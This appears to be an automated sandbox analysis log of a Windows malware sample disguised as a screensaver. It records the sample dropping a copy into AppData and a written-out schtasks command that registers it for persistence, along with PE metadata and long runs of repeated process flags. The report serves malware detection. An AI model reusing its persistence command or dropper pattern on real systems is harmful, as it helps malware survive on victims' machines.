Source: MB263350411AE_1.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: MB263350411AE_1.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: yBlD.pdb source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr
Source:	Binary string: yBlD.pdbSHA256> source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr

Source: MB263350411AE_1.scr.exe

Static PE information: 0x991B1B7B [Fri May 26 05:09:15 2051 UTC]

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DF07FF push ebx; retf 0000h	6_2_00DF0802
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DF081F push ebx; retf 0000h	6_2_00DF0822
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 6_2_00DF0811 push ebx; retf 0000h	6_2_00DF0812
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E884A7 push ds; retn 0005h	7_2_08E884B2
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 7_2_08E88497 push ds; retn 0005h	7_2_08E884A2

Source: MB263350411AE_1.scr.exe	Static PE information: section name: .text entropy: 7.631573035742171
Source: nDVstwLnVvg.exe.0.dr	Static PE information: section name: .text entropy: 7.631573035742171

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

File created: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
